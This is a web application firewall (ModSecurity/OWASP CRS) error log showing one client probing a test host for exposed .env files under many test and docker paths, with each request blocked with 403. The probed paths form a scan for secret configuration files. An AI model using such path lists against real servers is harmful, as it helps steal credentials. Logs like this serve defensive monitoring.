[Thu Feb 26 01:03:21.608414 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/integration/env-config/app/.env&quot;] [unique_id &quot;aZ-NyZqP6Uim1aZiP_g4xgAAAAY&quot;]
[Thu Feb 26 01:03:21.608562 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/integration/env-config/app/.env&quot;] [unique_id &quot;aZ-NyZqP6Uim1aZiP_g4xgAAAAY&quot;]
[Thu Feb 26 01:03:22.318791 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /testfiles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testfiles/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU9AAAAAc&quot;]
[Thu Feb 26 01:03:22.319023 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testfiles/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU9AAAAAc&quot;]
[Thu Feb 26 01:03:22.319174 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testfiles/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU9AAAAAc&quot;]
[Thu Feb 26 01:03:22.431494 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /testing/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU9wAAAAc&quot;]
[Thu Feb 26 01:03:22.431787 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU9wAAAAc&quot;]
[Thu Feb 26 01:03:22.431939 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU9wAAAAc&quot;]
[Thu Feb 26 01:03:22.456303 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /testing/docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/docker/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU-AAAAAc&quot;]
[Thu Feb 26 01:03:22.456538 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/docker/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU-AAAAAc&quot;]
[Thu Feb 26 01:03:22.456704 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/docker/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU-AAAAAc&quot;]
[Thu Feb 26 01:03:22.488092 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU-QAAAAc&quot;]
[Thu Feb 26 01:03:22.488322 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU-QAAAAc&quot;]
[Thu Feb 26 01:03:22.488474 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU-QAAAAc&quot;]
[Thu Feb 26 01:03:22.505448 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /testfiles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testfiles/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g44AAAAAY&quot;]
[Thu Feb 26 01:03:22.505674 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testfiles/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g44AAAAAY&quot;]
[Thu Feb 26 01:03:22.505832 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testfiles/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g44AAAAAY&quot;]
[Thu Feb 26 01:03:22.518647 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Tests/Application/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU-gAAAAc&quot;]
[Thu Feb 26 01:03:22.518867 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Tests/Application/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU-gAAAAc&quot;]
[Thu Feb 26 01:03:22.519017 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Tests/Application/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU-gAAAAc&quot;]
[Thu Feb 26 01:03:22.545380 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v10.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v10.0/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU-wAAAAc&quot;]
[Thu Feb 26 01:03:22.545625 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v10.0/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU-wAAAAc&quot;]
[Thu Feb 26 01:03:22.545778 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v10.0/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU-wAAAAc&quot;]
[Thu Feb 26 01:03:22.575274 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v11.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v11.0/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU_AAAAAc&quot;]
[Thu Feb 26 01:03:22.575495 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v11.0/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU_AAAAAc&quot;]
[Thu Feb 26 01:03:22.575648 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v11.0/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU_AAAAAc&quot;]
[Thu Feb 26 01:03:22.603218 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /testing/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g44wAAAAY&quot;]
[Thu Feb 26 01:03:22.603534 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g44wAAAAY&quot;]
[Thu Feb 26 01:03:22.603707 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g44wAAAAY&quot;]
[Thu Feb 26 01:03:22.613401 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v12.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v12.0/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU_QAAAAc&quot;]
[Thu Feb 26 01:03:22.613631 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v12.0/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU_QAAAAc&quot;]
[Thu Feb 26 01:03:22.613791 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v12.0/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXU_QAAAAc&quot;]
[Thu Feb 26 01:03:22.646704 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /testing/docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/docker/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g45AAAAAY&quot;]
